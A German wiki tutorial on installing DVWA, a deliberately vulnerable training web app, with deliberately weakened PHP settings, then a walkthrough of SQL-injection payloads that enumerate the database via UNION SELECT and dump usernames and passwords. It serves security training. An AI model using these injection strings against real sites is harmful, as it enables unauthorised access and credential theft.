Apache / Php / Mysql

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen

DVWA - Damn Vulnerable Web App

Voraussetzungen

  • Apache, Mysql, installiert
apt-get install apache2 mysql-server 
  • php < 7.0 muss installiert sein
Ubuntu 16.04:
sudo add-apt-repository ppa:ondrej/php
apt-get update
apt-get install php5.6 php5.6-mysql php5.6-gd
php -v

Installation DVWA

  • Nach dem Download Entpacken und Verschieben ins DocumentRoot
unzip DVWA-master.zip
mv DVWA-master /var/www/html/dvwa
  • cd /var/www/html/dvwa/
  • cp config/config.inc.php.dist config/config.inc.php
  • vi config
  • Anpassen der Konfiguration dvwa:
vi config/config.inc.php:
$_DVWA[ 'db_password' ] = 'das_vergebene_passwort';
Falls das Insecure Captcha Modul benutzt werden soll:
$_DVWA[ 'recaptcha_public_key = 
$_DVWA[ 'recaptcha_private_key = 

Die Werte für die beiden Optionen müssen zuerst generiert werden (ein google Account ist Voraussetzung): https://www.google.com/recaptcha/admin/create

  • Anpassen der php Konfiguration:
vi /etc/php/5.6/apache2/php.ini
allow_url_include = on
allow_url_fopen = on
safe_mode = off
magic_quotes_gpc = off (fuer php <= 5.4)
service apache2 restart
  • Anpassen der Verzeichnisrechte:
chown www-data hackable/uploads/
chown www-data external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
  • Anpassen der .htaccess Datei
vi .htaccess
<IfModule mod_php5.c>
  php_flag magic_quotes_gpc Off
  #php_flag allow_url_fopen on
  #php_flag allow_url_include on
</IfModule>

ersetzen durch:

<IfModule mod_php5.c>
   magic_quotes_gpc = Off
   allow_url_fopen = On
   allow_url_include = On
</IfModule>
Username: admin
Passwort: password

Direkt nach der Installation ist die Anwendung 'sicher' eingestellt. Das Sicherheitslevel kann unter DVWA Security angepasst werden.


SQL Injection mit DVWA

  • Sicherheitslevel low
  • SQL Injection aufrufen
  • Normale Eingabe in Textbox:
1

Ausgabe von ID, Vorname und Nachname

SQL Abfrage auf der Datenbank:

SELECT first_name, last_name FROM users WHERE user_id = '1'

Ziel ist es durch die Benutzereingabe Code einzufügen, der vom Datenbanksystem ausgeführt wird.

  • Eingabe in Textbox - Ausgabe aller User:
%' or '0'='0
  • Eingabe in Textbox - Ausgabe der Datenbackversion (ganz unten)
%' or 0=0 union select null, version() #


  • Eingabe von %' or 0=0 union select null, user() # in Textbox

-> Ausgabe des Db Benutzers der die Abfragen durchführt

  • Eingabe von %' or 0=0 union select null, database() # in Textbox

-> Ausgabe der aktuellen Datenbank

  • Eingabe von %' or 0=0 union select null, table_name from information_schema.tables where table_name like 'user%' # in Textbox

-> Ausgabe aller Tabellen die mit user beginnen

  • %' or 0=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #

-> Ausgabe aller Felder in der Tabelle users
0x0a: Zeilenumbruch

  • %' or 0=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

-> Ausgabe der Benutzer und Passwoerter